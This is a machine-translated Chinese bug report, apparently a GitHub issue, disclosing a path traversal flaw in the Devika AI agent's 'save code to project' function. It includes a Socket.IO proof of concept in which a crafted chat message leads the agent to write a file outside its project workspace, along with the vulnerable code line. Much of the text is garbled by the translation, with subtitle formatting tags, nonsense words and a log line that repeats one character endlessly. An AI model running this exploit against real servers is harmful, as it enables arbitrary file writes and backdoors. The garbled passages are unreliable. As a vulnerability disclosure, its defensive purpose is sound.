#708·devika

[错误] 功能代理路径穿越漏洞

作者: Ro1ME创建于 2026年4月20日更新于 2026年4月20日

<! -- -- 注:检查是否已提交类似问题。 请在[问题]中搜索 -- >

描述错误 ** CRITICAL Security VULNERABILYTY**:地物代理的"save code to project"功能包含一个路径倒转的弱点,允许攻击者在预定的项目工作空间外写入文件,有可能损害整个服务器.

** 脆弱性类型**:CWE-22路径倾斜 ** CVSS 分数**:8.8(高) ** 受影响的文件**:弧/剂/地貌/地貌.py:71' ** 受影响的函数**:Feature.save code to project' ** Entry Point**:袜子. IO " 用户信息 " 事件(行动=特点)

** Root原因**: 该函数使用用户控制的输入构建文件路径,而不进行适当的边界验证:

zz
71号线 - VULNER CODE
file path=os.path.join (project path, file name) # 无路径验证
以打开( 文件  path, “w” ) 作为 f :
f. write( 代码)

** 安全影响**:

  • ** 任意文件写入**:在服务器文件系统中任意写入文件
  • 守则执行**: 覆盖 Python 模块或系统文件
  • 数据过滤: 将敏感数据写入网络目录
  • ** 持久性**:在启动脚本中安装后门

如何重现 复制行为的步骤(例): · 先决条件

  1. 启动 Devika 服务器:

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢? (简体中文) python3 - m venv 阴道 来源 venv/bin/ 激活 # 在 Windows 上: venv\ 脚本\ 激活 pip 安装 - r 要求. txt Python 应用程序


2. 在`http://localhost:1337 ' 上访问网页UI

3. 通过UI创建一个新项目

* 复制行为的步骤

1. **连接到Socket.IO终点**:

```(Python)
导入套接字

sio = socketio. (中文(简体) ). 客户( )
sio.connect ('http://localhost:1337') (英语).
  1. ** 创建基线项目文件**:
4zz
# 第一个消息: 创建普通文件
sio.emit('user- message',{
"消息":"添加一个新的特性:创建靴子.py",
“ project name” : “ cbdscan- feature-demo ”
) (中文(简体) ).

{\fn方正粗倩简体\fs12\an8\1cHFFFF00\b0}等待完成...
  1. ** 有路径穿行的调试特性剂**:
zz
# 第二道消息: 路过攻击
sio.emit('user- message',{
“ message ” : “ 添加特性: 创建文件 . /. / devika  feature escape.txt” ,
“ project name” : “ cbdscan- feature-demo ”
) (中文(简体) ).
  1. ** 核实所逃出的项目工作空间**:

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?

检查项目目录以外的文件

数据/ devika feature escape.txt 猫的数据/ devika feature escape.txt

产出:DEVIKA FEATURE LIVE POC


预期行为
- 文件路径应在写入前验证和正常化
- 含有`.'的路径应予拒绝或净化;
- 所有文件操作应限于项目工作空间
- 应拒绝绝对路径

截图和日志
** 背面日志**:

[2026-04-10 04:13:56] (中文(中国大陆) ). 代理: 特性 [2026-04-10 04:13:56] (中文(中国大陆) ). 状态:已完成 [2026-04-10 04:13:56] (中文(中国大陆) ). 终端: vim boostrap.py [2026-04-10 04:13:56] 出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出:出 . . . . . . .

内容来源: stitionai/devika